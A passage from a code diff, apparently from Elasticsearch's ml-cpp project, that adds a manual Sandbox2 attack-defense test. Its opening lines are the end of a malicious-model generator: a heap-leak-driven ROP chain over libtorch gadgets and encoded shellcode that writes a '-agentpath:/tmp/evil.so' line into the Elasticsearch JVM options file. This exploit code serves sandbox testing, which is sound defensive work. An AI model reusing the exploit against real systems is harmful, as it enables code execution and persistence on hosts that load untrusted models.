gadget_addr_3 = 0x0000000004e5b605 + libtorch_cpu_addr # mov rdx, qword ptr [rax] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 8] + gadget_addr_4 = 0x000000000782e30b + libtorch_cpu_addr # mov rdi, qword ptr [rax + 0x40] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x18] + gadget_addr_5 = 0x00000000056062ac + libtorch_cpu_addr # mov rbx, qword ptr [rax + 8] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x28] + gadget_addr_6 = 0x00000000041df281 + libtorch_cpu_addr # mov rdi, qword ptr [rax + 0x40] ; call qword ptr [rax + 0x30] + mprotect_got_addr = 0xc9785f0 + libtorch_cpu_addr + + leak[index + 3] = int(heap_addr - 0x8) + + for j in range(heap_len): + if tmp[j][2].item() == 0xDEAD00002 and i != j: + mprotect_addr = self.get_address_data(leak, index + 3, tmp[j], int(mprotect_got_addr)) + leak[index + 3] = int(heap_addr) + leak[index + 1] = int(heap_addr) + tmp[j][1] = int(gadget_addr_1) + tmp[j][(0x28) // 8] = int(gadget_addr_2) + pianyi1 = 0x40 # mov rdi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x20] + tmp[j][(0x20) // 8] = int(heap_addr + pianyi1) + tmp[j][(pianyi1) // 8] = int(heap_addr + pianyi1 + 8) + pianyi1 += 8 + tmp[j][(pianyi1 + 0x20) // 8] = int(gadget_addr_3) + tmp[j][(pianyi1) // 8] = 7 + tmp[j][(pianyi1 + 8) // 8] = int(gadget_addr_4) + new_pianyi = pianyi1 + 0x40 + 8 + tmp[j][(pianyi1 + 0x40) // 8] = int(heap_addr + new_pianyi) # rdi new_pianyi + tmp[j][(new_pianyi) // 8] = int(heap_addr + new_pianyi + 0x8) # rax new_pianyi+0x8 + new_pianyi += 0x8 + tmp[j][(new_pianyi + 0x18) // 8] = int(gadget_addr_5) + shellcode_painyi = new_pianyi + 0x48 + tmp[j][(new_pianyi + 0x8) // 8] = int(heap_addr + shellcode_painyi) # rbx + tmp[j][(new_pianyi + 0x28) // 8] = int(gadget_addr_6) + tmp[j][(new_pianyi + 0x40) // 8] = int((heap_addr + new_pianyi) & 0xffffffffffff000) + tmp[j][(new_pianyi + 0x30) // 8] = int(mprotect_addr) + tmp[j][(shellcode_painyi) // 8] = int(heap_addr + shellcode_painyi) # rax heap_addr+shellcode_painyi + tmp[j][(shellcode_painyi + 0x30) // 8] = int(heap_addr + shellcode_painyi + 0x38) + + # Shellcode that writes "/usr/share/elasticsearch/config/jvm.options.d/gc.options" with "-agentpath:/tmp/evil.so" + shellcodes = [8011543407870619976, 5210791687020442736, 7435271660479868856, 3345460298936504419, 3438577825701195887, 5777950549327376227, 8241980339328235592, 3415262028243167331, -5167792111325451163, 7018986666877744431, -5561328400657201072, 5188609366195851841, -8554581930162470863, 8531427691724884167, 5210665247541455977, 8101259050901599416, 7306915769425088559, -1834855863107423122, 5188146771129452360, 5562011009073] + + start_pianyi = (shellcode_painyi + 0x38) // 8 + for shellcode in shellcodes: + tmp[j][start_pianyi] = shellcode + start_pianyi += 1 + + del tmp[j] + assert 1 == 0, "Input tensor must have at least one element: " + return torch.zeros(0) + + for i in range(heap_len): + print(tmp[i].shape) + + return torch.zeros(0) + + +def generate_models(output_dir): + """Generate all three models.""" + os.makedirs(output_dir, exist_ok=True) + + print("Generating benign model...") + benign_model = SimpleBenignModel() + benign_model_script = torch.jit.script(benign_model) + benign_path = os.path.join(output_dir, "model_benign.pt") + benign_model_script.save(benign_path) + print(f" Saved to {benign_path}") + + print("Generating leak model...") + leak_model = LeakModel() + leak_model_script = torch.jit.script(leak_model) + leak_path = os.path.join(output_dir, "model_leak.pt") + leak_model_script.save(leak_path) + print(f" Saved to {leak_path}") + + print("Generating exploit model...") + exploit_model = ExploitModel() + exploit_model_script = torch.jit.script(exploit_model) + exploit_path = os.path.join(output_dir, "model_exploit.pt") + exploit_model_script.save(exploit_path) + print(f" Saved to {exploit_path}") + + print("All models generated successfully!") + + +if __name__ == "__main__": + if len(sys.argv) > 1: + output_dir = sys.argv[1] + else: + output_dir = "." + + try: + generate_models(output_dir) + except Exception as e: + print(f"Error generating models: {e}", file=sys.stderr) + sys.exit(1) diff --git a/test/test_sandbox2_attack_defense.py b/test/test_sandbox2_attack_defense.py new file mode 100644 index 0000000000..fcb5a1962c --- /dev/null +++ b/test/test_sandbox2_attack_defense.py @@ -0,0 +1,1202 @@ +#!/usr/bin/env python3 +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the following additional limitation. Functionality enabled by the +# files subject to the Elastic License 2.0 may only be used in production when +# invoked by an Elasticsearch process with a license key installed that permits +# use of machine learning features. You may not use this file except in +# compliance with the Elastic License 2.0 and the foregoing additional +# limitation. +# +"""Manual integration test: Sandbox2 attack-defense end-to-end smoke test. + +Verifies that Sandbox2 defends against a traced PyTorch model that attempts to +write a file outside its allowed scope, using the real +`$TMPDIR/ml-child-ipc/` per-child IPC layout +(`include/sandbox/CPytorchInferenceSandboxPolicy.h`'s `SChildIpcLaunchSpec` +contract, validated by `validateChildIpcLaunchSpec()`) rather than a synthetic +flat directory. + +Not run in CI; use after local Sandbox2 or policy changes. CI coverage for the +*pre-execution* graph-validator layer is provided by CModelGraphValidatorTest +and test_pytorch_inference_evil_models.py; CI coverage for the syscall +inventory is CSandboxedProcessSpawnerTest_Linux. This harness is the only +proof that the *runtime* Sandbox2 filesystem/syscall boundary - not the +static graph validator - stops a malicious model that already got past model +load. + +Every malicious model is launched with `--skipModelValidation`. Without that +flag, `CModelGraphValidator` rejects these particular models (they use +`aten::as_strided` with an out-of-bounds offset) before `forward()` ever +runs - so a run without the flag would report "target file not created" for +a reason that has nothing to do with Sandbox2, which is exactly the kind of +crashed-before-reaching-the-boundary false positive the "reached marker" +requirement below exists to rule out (a crash inside `getpgid` before +reaching the boundary previously produced exactly this false positive in +`testPolicyViolationDifferential`). + +Each case in this harness satisfies a five-part evidence requirement: +1. Positive control: the same model is also run through the controller's + `--disableSandbox` legacy route (Sandbox2 structurally absent) and must + demonstrate the payload actually works there. +2. Reached marker: a `model loaded` line observed on the model's own + `--logPipe` proves it survived `--skipModelValidation` load, and either a + `request_id`-correlated response on the output FIFO, or a confirmed + process death occurring only after that log line, proves `forward()` was + entered. Absent both, the case is an inconclusive FAIL, never a silent + PASS. +3. Negative assertion: under Sandbox2, the protected target file must not be + created. +4. Mechanism assertion: the controller's `start`/`kill` JSON responses and + the discovered child PID's `/proc` liveness. +5. Cleanup assertion: a `kill ` command against the controller must + report failure once the case is done, proving no live child, and hence no + lingering FIFO listener, survives into the next case. + +Usage: + ./dev-tools/run_sandbox2_attack_defense.sh + python3 test/test_sandbox2_attack_defense.py [--test {1,2,all}] + + 1 = benign model (functional positive control) + 2 = exploit model (heap-address leak used to build a ROP chain that + attempts an out-of-sandbox file write) + +Requires: Linux, python3, torch, user namespaces (or root), and built +controller and pytorch_inference binaries under +build/distribution/platform/linux-*/bin/. +""" + +import argparse +import fcntl +import json +import os +import re +import select +import shutil +import stat +import struct +import subprocess +import sys +import tempfile +import threading +import time +import uuid +from pathlib import Path + +TARGET_FILE = '/usr/share/elasticsearch/config/jvm.options.d/gc.options' + +# Bounded waits. Generous because Sandbox2 setup (userns, seccomp filter +# install) and libtorch model load are both slow relative to plain process +# start. +MODEL_LOAD_TIMEOUT = 20 +FORWARD_PASS_TIMEOUT = 15 +PID_DISCOVERY_TIMEOUT = 5 +CONTROLLER_RESPONSE_TIMEOUT = 5 + +HEAP_ADDRESS_PATTERN = re.compile(r'0x[0-9a-fA-F]{8,}') + + +class PipeReaderThread(threading.Thread): + """Thread that reads from a named pipe and writes to a file. + + One instance is scoped to exactly one FIFO for exactly one test case + (see run_pytorch_case()) - it is always .stop()/.join()'d before its + FIFO is removed and a same-named FIFO is recreated for the next case. + Reusing an instance, or leaving an old one running, across cases lets a + reader from a stale case win the open() race on the recreated FIFO and + silently steal/split a later case's bytes (the "single shared un-drained + FIFO reader" defect this harness fixes). + """ + + def __init__(self, pipe_path, output_file): + self.pipe_path = pipe_path + self.output_file = output_file + self.fd = None + self.running = True + self.error = None + super().__init__(daemon=True) + + def run(self): + # Opened O_NONBLOCK so this never blocks waiting for a writer to + # show up (a plain O_RDONLY open() would) - self.fd is populated + # almost immediately either way, which is what lets stop() actually + # interrupt this thread instead of racing a still-None self.fd + # against a blocking open() that may never return (e.g. when + # run_pytorch_case() bails out early because pytorch_inference never + # opened the other end of this FIFO for writing). + try: + self.fd = os.open(self.pipe_path, os.O_RDONLY | os.O_NONBLOCK) + except OSError as e: + self.error = str(e) + return + try: + with open(self.output_file, 'w') as f: + while self.running: + try: + ready, _, _ = select.select([self.fd], [], [], 0.2) + except (OSError, ValueError): + break + if not ready: + continue + try: + data = os.read(self.fd, 4096) + except BlockingIOError: + continue + except OSError as e: + if self.running: + self.error = str(e) + break + if not data: + break + f.write(data.decode('utf-8', errors='replace')) + f.flush() + except Exception as e: + self.error = str(e) + finally: + if self.fd is not None: + try: + os.close(self.fd) + except OSError: + pass + + def stop(self): + self.running = False + if self.fd is not None: + try: + os.close(self.fd) + except OSError: + pass + + +class StdinKeeperThread(threading.Thread): + """Thread that keeps stdin pipe open for controller by writing to it.""" + + def __init__(self, stdin_pipe_path): + self.stdin_pipe_path = stdin_pipe_path + self.fd = None + self.running = True + super().__init__(daemon=True) + + def run(self): + try: + self.fd = os.open(self.stdin_pipe_path, os.O_WRONLY | os.O_NONBLOCK) + flags = fcntl.fcntl(self.fd, fcntl.F_GETFL) + fcntl.fcntl(self.fd, fcntl.F_SETFL, flags & ~os.O_NONBLOCK) + while self.running: + try: + os.write(self.fd, b'\n') + time.sleep(0.5) + except (OSError, BrokenPipeError): + break + except Exception: + pass + finally: + if self.fd is not None: + try: + os.close(self.fd) + except OSError: + pass + + def stop(self): + self.running = False + if self.fd is not None: + try: + os.close(self.fd) + except OSError: + pass + + +def _read_new_content(path, since_offset): + """Read only the bytes appended to path since since_offset. + + Used to scope every wait_for_*_response() call to exactly the command it + is waiting for, instead of re-parsing the whole (ever-growing, never + closed until process exit) JSON-array output file on every poll - the + latter is how a response to an earlier command could leak into a later + command's parsing. + """ + path = Path(path) + if not path.exists(): + return '' + size = path.stat().st_size + if size <= since_offset: + return '' + with open(path, 'r') as f: + f.seek(since_offset) + return f.read() + + +def _parse_json_objects(new_content): + """Parse a slice of a live, never-closed JSON array (`[{...}\n,{...}`) + into a list of dicts. Tolerates a leading comma (the slice starts mid + array) and a missing trailing bracket (the array is still open).""" + content = new_content.strip() + if not content: + return [] + if content.startswith(','): + content = content[1:].strip() + if not content: + return [] + if not content.startswith('['): + content = '[' + content + if not content.endswith(']'): + content = content + ']' + try: + parsed = json.loads(content) + except json.JSONDecodeError: + return [] + if isinstance(parsed, dict): + return [parsed] + if isinstance(parsed, list): + return parsed + return [] + + +def pid_alive(pid): + """Best-effort liveness check via /proc. Works for the Sandbox2 sandboxee + too: it runs in its own PID namespace but is still visible under its real + host PID in the host's own /proc, which is the PID the controller logs and + the PID the controller's own registry keys kill/reap on.""" + return os.path.exists(f'/proc/{pid}') + + +#! Both spawner backends log the child's host PID on a successful spawn, and +#! both lines are captured on the controller's log pipe: +#! lib/sandbox/CSandboxedProcessSpawner_Linux.cc +#! LOG_INFO(<< "Spawned sandboxed process " << processPath << " with PID " << sandboxPid) +#! lib/core/CDetachedProcessSpawner.cc +#! LOG_DEBUG(<< "Spawned '" << processPath << "' with PID " << childPid) +SPAWNED_PID_RE = re.compile( + r"Spawned (?:sandboxed process )?'?(?P[^'\s]+)'? with PID (?P\d+)") + + +def find_child_pid(controller, process_path, since_offset, timeout=PID_DISCOVERY_TIMEOUT): + """Discover the child's host PID by parsing the controller's own log + output, scoped to the bytes appended since since_offset (the offset taken + immediately before the 'start' command was sent). + + Why not /proc PPid filtering: the Sandbox2 sandboxee is *not* a direct + child of the controller process - it is forked by the Sandbox2 forkserver + (see lib/sandbox/CSandboxedProcessSpawner_Linux.cc), so a + `PPid == controller.process.pid` filter never matches on the sandboxed + route and every sandboxed case would fail at PID discovery. Only the + unsandboxed control (a real CDetachedProcessSpawner posix_spawn child) + would ever pass such a filter. + + The controller's 'start' response carries no PID (see + bin/controller/CCommandProcessor.cc handleStart()), so the log line each + spawner already emits is the discovery channel - the same one an operator + debugging a stuck deployment reads. Deliberately uniform across both + routes: one mechanism, exercised by every case including the control. + """ + log_path = controller.control_dir / 'controller_log_output.txt' + deadline = time.time() + timeout + while True: + pid = None + for match in SPAWNED_PID_RE.finditer(_read_new_content(log_path, since_offset)): + if match.group('path') == process_path: + # Last match wins: within one case only one start command is + # issued, but a retry would append a newer line. + pid = int(match.group('pid')) + if pid is not None: + return pid + if time.time() >= deadline: + return None + time.sleep(0.1) + + +#! The controller's sandbox2_launch structured once-per-launch signal, +#! emitted by bin/controller/CProcessSpawnerRouter.cc emitLaunchSignal() +#! over the same log pipe. Boost.Log escapes the embedded quotes, so the raw +#! capture is unescaped before matching. +LAUNCH_SIGNAL_ROUTE_RE = re.compile(r'"event":"sandbox2_launch".*?"route":"(?P[a-z0-9_]+)"') + + +def find_launch_route(controller, since_offset, timeout=PID_DISCOVERY_TIMEOUT): + """Return the route ("sandbox2" / "legacy") the controller's own + sandbox2_launch signal reports for the launch issued after since_offset, + or None if no such signal appeared within timeout. + + This is the harness's guard against silently invalidating the security + proof: a "sandboxed" case that actually routed to the legacy path would + still produce "no target file" for entirely the wrong reason (see + run_pytorch_case()). + """ + log_path = controller.control_dir / 'controller_log_output.txt' + deadline = time.time() + timeout + while True: + raw = _read_new_content(log_path, since_offset).replace('\\"', '"') + route = None + for match in LAUNCH_SIGNAL_ROUTE_RE.finditer(raw): + # Last match wins, consistent with find_child_pid(). + route = match.group('route') + if route is not None: + return route + if time.time() >= deadline: + return None + time.sleep(0.1) + + +def tail_contains(path, needle, deadline): + """Poll path until it contains needle or deadline (a time.time() value) + passes.""" + while time.time() < deadline: + try: + with open(path, 'r') as f: + if needle in f.read(): + return True + except OSError: + pass + time.sleep(0.2) + try: + with open(path, 'r') as f: + return needle in f.read() + except OSError: + return False + + +class ControllerProcess: + """Manages the controller process and its own command/output/log/stdin + pipes, kept in control_dir - deliberately separate from any child's + `$TMPDIR/ml-child-ipc/` directory, so a sandboxed child's mount + policy for its own IPC root can never be confused with, or accidentally + widened to include, the controller's own command channel. + """ + + def __init__(self, binary_path, control_dir, controller_dir, child_tmp_base): + self.binary_path = binary_path + self.control_dir = Path(control_dir) + self.controller_dir = controller_dir + self.process = None + self.log_reader = None + self.output_reader = None + self.stdin_keeper = None + self.cmd_pipe_fd = None + self._output_path = self.control_dir / 'controller_output.txt' + + self.pipes = { + 'cmd': str(self.control_dir / 'controller_cmd'), + 'out': str(self.control_dir / 'controller_out'), + 'log': str(self.control_dir / 'controller_log'), + 'stdin': str(self.control_dir / 'controller_stdin'), + } + + try: + for pipe_path in self.pipes.values(): + if os.path.exists(pipe_path): + os.remove(pipe_path) + os.mkfifo(pipe_path, stat.S_IRUSR | stat.S_IWUSR) + + script_dir = Path(__file__).parent + source_config = script_dir / 'boost.log.ini' + test_config = self.control_dir / 'boost.log.ini' + if source_config.exists(): + shutil.copy(source_config, test_config) + else: + with open(test_config, 'w') as f: + f.write('[Core]\n') + f.write('Filter="%Severity% >= TRACE"\n') + f.write('\n') + f.write('[Sinks.Stderr]\n') + f.write('Destination=Console\n') + + log_file = str(self.control_dir / 'controller_log_output.txt') + self.log_reader = PipeReaderThread(self.pipes['log'], log_file) + self.output_reader = PipeReaderThread(self.pipes['out'], str(self._output_path)) + self.log_reader.start() + self.output_reader.start() + time.sleep(0.2) + + print("Pipe readers started (will connect when controller opens pipes)") + sys.stdout.flush() + print("Starting controller process...") + sys.stdout.flush() + + stdin_opened = threading.Event() + stdin_fd_holder = {'fd': None} + + def open_stdin_for_controller(): + stdin_fd_holder['fd'] = os.open(self.pipes['stdin'], os.O_RDONLY) + stdin_opened.set() + + stdin_opener_thread = threading.Thread(target=open_stdin_for_controller, daemon=True) + stdin_opener_thread.start() + + self.stdin_keeper = StdinKeeperThread(self.pipes['stdin']) + self.stdin_keeper.start() + + if not stdin_opened.wait(timeout=3.0): + raise RuntimeError("Failed to open stdin pipe - stdin_keeper did not connect") + + stdin_fd = stdin_fd_holder['fd'] + if stdin_fd is None: + raise RuntimeError("stdin_fd is None after opening") + + print(f"stdin opened: fd={stdin_fd}, stdin_keeper: fd={self.stdin_keeper.fd}") + sys.stdout.flush() + + # trustedTmpDir for validateChildIpcLaunchSpec() is derived by the + # controller itself from its own TMPDIR env var + # (CSandboxedProcessSpawner_Linux.cc / CProcessSpawnerRouter.cc both + # read getenv("TMPDIR"), defaulting to "/tmp"). child_tmp_base must + # therefore be passed as this process's TMPDIR, not merely used + # locally to build pipe paths, or every child spawn will be rejected + # for living outside the "trusted" base the controller believes in. + env = dict(os.environ) + env['TMPDIR'] = str(child_tmp_base) + + self._start_controller_with_stdin(stdin_fd, env) + + time.sleep(0.3) + print(f"Controller started (PID: {self.process.pid})") + time.sleep(1.0) + + print("Opening command pipe...") + sys.stdout.flush() + cmd_pipe_opened = threading.Event() + cmd_pipe_fd_holder = {} + + def open_cmd_pipe(): + try: + cmd_pipe_fd_holder['fd'] = os.open(self.pipes['cmd'], os.O_WRONLY) + except Exception as e: + cmd_pipe_fd_holder['error'] = e + finally: + cmd_pipe_opened.set() + + cmd_pipe_thread = threading.Thread(target=open_cmd_pipe, daemon=True) + cmd_pipe_thread.start() + + if not cmd_pipe_opened.wait(timeout=5.0): + raise RuntimeError("Timeout waiting for controller to open command pipe") + if 'error' in cmd_pipe_fd_holder: + raise RuntimeError(f"Failed to open command pipe: {cmd_pipe_fd_holder['error']}") + + self.cmd_pipe_fd = cmd_pipe_fd_holder.get('fd') + if self.cmd_pipe_fd is None: + raise RuntimeError("cmd_pipe_fd is None after opening") + + print(f"Command pipe opened: fd={self.cmd_pipe_fd}") + sys.stdout.flush() + except Exception: + # Best-effort teardown of whatever was already started + # (subprocess, reader threads, pipes) before re-raising. main() + # only assigns its `controller` variable after __init__ returns, + # so if construction fails partway through, this is the only + # place that can reap the already-spawned controller binary and + # its reader/stdin-keeper threads - main()'s + # `finally: if controller is not None: controller.cleanup()` + # never runs for a partially-constructed instance. + self.cleanup() + raise + + def _start_controller_with_stdin(self, stdin_fd, env): + try: + cmd_args = [ + self.binary_path, + '--logPipe=' + self.pipes['log'], + '--commandPipe=' + self.pipes['cmd'], + '--outputPipe=' + self.pipes['out'], + ] + self.process = subprocess.Popen( + cmd_args, + stdin=stdin_fd, + stdout=open(self.control_dir / 'controller_stdout.log', 'w'), + stderr=open(self.control_dir / 'controller_stderr.log', 'w'), + cwd=self.controller_dir, + env=env, + ) + for i in range(5): + time.sleep(0.2) + if self.process.poll() is not None: + break + + if self.process.poll() is not None: + stderr_file = self.control_dir / 'controller_stderr.log' + stderr_msg = stderr_file.read_text() if stderr_file.exists() else '' + raise RuntimeError( + f"Controller exited immediately with code {self.process.returncode}\n" + f"Stderr: {stderr_msg}") + + if self.log_reader.error: + raise RuntimeError(f"Log pipe reader error: {self.log_reader.error}") + if self.output_reader.error: + raise RuntimeError(f"Output pipe reader error: {self.output_reader.error}") + except Exception: + if stdin_fd is not None: + try: + os.close(stdin_fd) + except OSError: + pass + raise + + def send_command(self, command_id, verb, args): + if self.process is None or self.process.poll() is not None: + raise RuntimeError( + f"Controller process is not running " + f"(exit code: {self.process.returncode if self.process else 'N/A'})") + if self.cmd_pipe_fd is None: + raise RuntimeError("Command pipe is not open") + cmd_line = f"{command_id}\t{verb}\t" + "\t".join(args) + "\n" + try: + os.write(self.cmd_pipe_fd, cmd_line.encode('utf-8')) + except Exception as e: + raise RuntimeError(f"Failed to send command: {e}") + + def send_command_and_wait(self, command_id, verb, args, timeout=CONTROLLER_RESPONSE_TIMEOUT): + """Send a command and wait only for bytes appended after this call - + the per-command drain that replaces re-parsing the whole shared + output file (see _read_new_content()).""" + since_offset = self._output_path.stat().st_size if self._output_path.exists() else 0 + self.send_command(command_id, verb, args) + deadline = time.time() + timeout + while time.time() < deadline: + for obj in _parse_json_objects(_read_new_content(self._output_path, since_offset)): + if isinstance(obj, dict) and obj.get('id') == command_id: + return obj + time.sleep(0.1) + return None + + def kill_pid(self, command_id, pid, timeout=CONTROLLER_RESPONSE_TIMEOUT): + """Issue a controller 'kill ' command. Returns the response + dict, or None on timeout. response['success'] is False both when + the PID was never one of the controller's live children and when it + already exited - exactly the registry-poll cleanup mechanism the + cleanup assertion below needs (see + bin/controller/CCommandProcessor.cc handleKill() -> + CSandboxedProcessSpawner::terminateChild()).""" + return self.send_command_and_wait(command_id, 'kill', [str(pid)], timeout=timeout) + + def log_offset(self): + """Current size of the captured controller log, for scoping a later + find_child_pid() scan to one command's own output.""" + log_file = self.control_dir / 'controller_log_output.txt' + return log_file.stat().st_size if log_file.exists() else 0 + + def check_controller_logs(self, max_lines=50): + log_file = self.control_dir / 'controller_log_output.txt' + if not log_file.exists(): + return + try: + lines = log_file.read_text().splitlines()[-max_lines:] + except OSError: + return + interesting = [ln for ln in lines if + '"level":"ERROR"' in ln or '"level":"WARN"' in ln or + 'sandbox' in ln.lower()] + if interesting: + print("--- Controller log (errors/warnings/sandbox) ---") + for ln in interesting[-15:]: + print(f" {ln}") + print("--- end ---") + sys.stdout.flush() + + def cleanup(self): + if self.cmd_pipe_fd is not None: + try: + os.close(self.cmd_pipe_fd) + except OSError: + pass + self.cmd_pipe_fd = None + + if self.process: + try: + self.process.terminate() + self.process.wait(timeout=2) + except subprocess.TimeoutExpired: + self.process.kill() + self.process.wait() + except Exception: + pass + + for keeper in (self.stdin_keeper, self.log_reader, self.output_reader): + if keeper: + keeper.stop() + keeper.join(timeout=1) + + for pipe_path in self.pipes.values(): + try: + if os.path.exists(pipe_path): + os.remove(pipe_path) + except OSError: + pass + + +def find_binaries(): + """Find controller and pytorch_inference binaries.""" + import platform + + script_dir = Path(__file__).parent + project_root = script_dir.parent.absolute() + + machine = platform.machine() + if machine in ('aarch64', 'arm64'): + arch = 'linux-aarch64' + elif machine in ('x86_64', 'amd64'): + arch = 'linux-x86_64' + else: + arch = f'linux-{machine}' + + for candidate_arch in (arch, 'linux-x86_64'): + dist_path = project_root / 'build' / 'distribution' / 'platform' / candidate_arch / 'bin' + controller_path = dist_path / 'controller' + pytorch_path = dist_path / 'pytorch_inference' + if controller_path.exists(): + return str(controller_path.absolute()), str(pytorch_path.absolute()) + + build_path = project_root / 'build' / 'bin' + controller_path = build_path / 'controller' / 'controller' + pytorch_path = build_path / 'pytorch_inference' / 'pytorch_inference' + if controller_path.exists(): + return str(controller_path.absolute()), str(pytorch_path.absolute()) + + controller_bin = os.environ.get('CONTROLLER_BIN') + pytorch_bin = os.environ.get('PYTORCH_BIN') + if controller_bin and pytorch_bin: + return os.path.abspath(controller_bin), os.path.abspath(pytorch_bin) + + raise RuntimeError("Could not find controller or pytorch_inference binaries") + + +def send_inference_request_with_timeout(input_pipe_path, request, timeout=5): + """Write request to input_pipe_path (blocks until pytorch_inference + opens it for reading), bounded by timeout.""" + import queue + + result_queue = queue.Queue() + + def open_and_write(): + try: + with open(input_pipe_path, 'w') as f: + json.dump(request, f) + f.flush() + result_queue.put(True) + except Exception as e: + result_queue.put(e) + + writer_thread = threading.Thread(target=open_and_write, daemon=True) + writer_thread.start() + writer_thread.join(timeout=timeout) + + if writer_thread.is_alive(): + print(f"Warning: Timeout ({timeout}s) waiting to open pytorch_inference input pipe") + return False + try: + result = result_queue.get_nowait() + except queue.Empty: + print("Warning: No result from inference request writer thread") + return False + if isinstance(result, Exception): + print(f"Warning: Could not send inference request: {result}") + return False + return True + + +def generate_models(output_dir): + """Generate test models using the ported generator script.""" + script_dir = Path(__file__).parent + generator_script = script_dir / 'evil_model_generator.py' + project_root = script_dir.parent + + if not generator_script.exists(): + raise RuntimeError(f"Model generator not found: {generator_script}") + + venv_python = project_root / 'test_venv' / 'bin' / 'python3' + python_exec = str(venv_python) if venv_python.exists() else sys.executable + + result = subprocess.run( + [python_exec, str(generator_script), str(output_dir)], + capture_output=True, text=True) + if result.returncode != 0: + raise RuntimeError(f"Model generation failed: {result.stderr}") + + for model in ('model_benign.pt', 'model_exploit.pt', 'model_leak.pt'): + if not (Path(output_dir) / model).exists(): + raise RuntimeError(f"Model {model} was not generated") + + +def prepare_restore_file(model_path, restore_path): + """Wrap a .pt file with the 4-byte big-endian size header that + CBufferedIStreamAdapter expects (matching how Elasticsearch sends + models).""" + model_bytes = Path(model_path).read_bytes() + with open(restore_path, 'wb') as restore_file: + restore_file.write(struct.pack('!I', len(model_bytes))) + restore_file.write(model_bytes) + + +def make_child_ipc_root(tmp_base, child_id): + """Create $TMPDIR/ml-child-ipc/ (mode 0700), matching the + layout the real controller creates before policy construction per + include/sandbox/CPytorchInferenceSandboxPolicy.h's SChildIpcLaunchSpec + doc comment (and the pattern every C++ unit test for this contract + already uses, e.g. CPytorchInferenceSandboxPolicyTest.cc, + CSandboxedProcessSpawnerLifecycleTest_Linux.cc). This harness plays the + role production code doesn't yet implement (no ml-cpp binary creates + this directory today - see bin/controller/*.cc), the same role + Elasticsearch's ES-side launch code will eventually play.""" + tmp_base = Path(tmp_base) + ml_child_ipc = tmp_base / 'ml-child-ipc' + ml_child_ipc.mkdir(mode=0o700, exist_ok=True) + child_root = ml_child_ipc / child_id + if child_root.exists(): + shutil.rmtree(child_root) + child_root.mkdir(mode=0o700) + return child_root + + +class CaseResult: + def __init__(self, label): + self.label = label + self.ok = True + self.notes = [] + + def fail(self, message): + self.ok = False + self.notes.append(f"FAIL: {message}") + print(f"FAIL: {message}") + sys.stdout.flush() + + def info(self, message): + self.notes.append(message) + print(message) + sys.stdout.flush() + + +def run_pytorch_case(controller, pytorch_bin, model_path, tmp_base, command_id, label, + unsandboxed, request_id): + """Launch pytorch_inference against model_path through the controller, + either sandboxed (default) or unsandboxed (--disableSandbox, the + positive control), using the real per-child ml-child-ipc/ + layout, and return (CaseResult, reached: bool, target_file_created: bool, + response_or_none: dict|None, leaked_address_seen: bool). + + Every FIFO reader started here is stopped before this function returns, + on every exit path, so no reader survives into the next case. + """ + result = CaseResult(f"{label} ({'unsandboxed' if unsandboxed else 'sandboxed'})") + child_id = f"{label}-{uuid.uuid4().hex[:8]}" + child_root = make_child_ipc_root(tmp_base, child_id) + + pytorch_name = Path(pytorch_bin).name + controller_dir = Path(controller.binary_path).parent + pytorch_in_controller_dir = controller_dir / pytorch_name + if pytorch_in_controller_dir.exists() or pytorch_in_controller_dir.is_symlink(): + pytorch_in_controller_dir.unlink() + os.symlink(pytorch_bin, pytorch_in_controller_dir) + + pipes = { + 'input': str(child_root / 'input'), + 'output': str(child_root / 'output'), + 'log': str(child_root / 'log'), + } + for pipe_path in pipes.values(): + os.mkfifo(pipe_path, stat.S_IRUSR | stat.S_IWUSR) + + restore_path = child_root / f'{model_path.stem}_restore.bin' + prepare_restore_file(model_path, restore_path) + + output_file = str(child_root / 'output_captured.txt') + log_file = str(child_root / 'log_captured.txt') + output_reader = PipeReaderThread(pipes['output'], output_file) + log_reader = PipeReaderThread(pipes['log'], log_file) + output_reader.start() + log_reader.start() + + reached = False + target_file_created = False + response = None + leaked_address_seen = False + pid = None + + try: + # Taken before the start command so find_child_pid() only ever sees + # this case's own "Spawned ... with PID" line, never a previous + # case's. + log_offset = controller.log_offset() + cmd_args = [ + f'./{pytorch_name}', + f'--restore={restore_path}', + f'--input={pipes["input"]}', + '--inputIsPipe', + f'--output={pipes["output"]}', + '--outputIsPipe', + f'--logPipe={pipes["log"]}', + '--validElasticLicenseKeyConfirmed=true', + '--skipModelValidation', + f'--modelid={label}', + ] + # Explicit intent instead of a global-default side channel: every + # "sandboxed" case sends --requireSandbox rather than relying on a + # no-token default, so the routing decision here is the same one + # Elasticsearch is expected to make per-launch (see + # bin/controller/CCommandProcessor.cc). Without this, a "sandboxed" + # case landing on the legacy path would make the harness's negative + # assertion ("the malicious model's target file must not exist") + # meaningless - checked against a child that was never sandboxed at + # all. + cmd_args.append('--disableSandbox' if unsandboxed else '--requireSandbox') + + result.info(f"Sending start command (id={command_id}) for {label}...") + response = controller.send_command_and_wait(command_id, 'start', cmd_args) + if response is None: + result.fail("No response from controller to 'start' command") + controller.check_controller_logs() + return result, reached, target_file_created, None, leaked_address_seen, pid + if response.get('success') is not True: + result.fail(f"Controller rejected start: {response.get('reason')}") + controller.check_controller_logs() + return result, reached, target_file_created, response, leaked_address_seen, pid + result.info(f"Controller accepted start: {response.get('reason')}") + + # Routing assertion, BEFORE any boundary assertion: the case is only + # evidence about Sandbox2 if the controller actually routed this + # launch the way the case intends. A sandboxed case that silently + # landed on the legacy path (e.g. --requireSandbox not + # reaching the controller, or a route-decision regression) would + # still show "no target file" - for the wrong reason. Fail loudly + # here instead. + expected_route = 'legacy' if unsandboxed else 'sandbox2' + actual_route = find_launch_route(controller, log_offset) + if actual_route is None: + result.fail( + "No sandbox2_launch signal observed on the controller log within " + f"{PID_DISCOVERY_TIMEOUT}s of a successful start response - cannot confirm " + f"this launch took the '{expected_route}' route; not asserting on target file") + controller.check_controller_logs() + return result, reached, target_file_created, response, leaked_address_seen, pid + if actual_route != expected_route: + result.fail( + f"Routing regression: controller's sandbox2_launch signal reports " + f"\"route\":\"{actual_route}\" but this case requires " + f"\"{expected_route}\". The child was not sandboxed as intended, so any " + f"target-file assertion below would prove nothing about Sandbox2; " + f"not asserting on target file") + controller.check_controller_logs() + return result, reached, target_file_created, response, leaked_address_seen, pid + 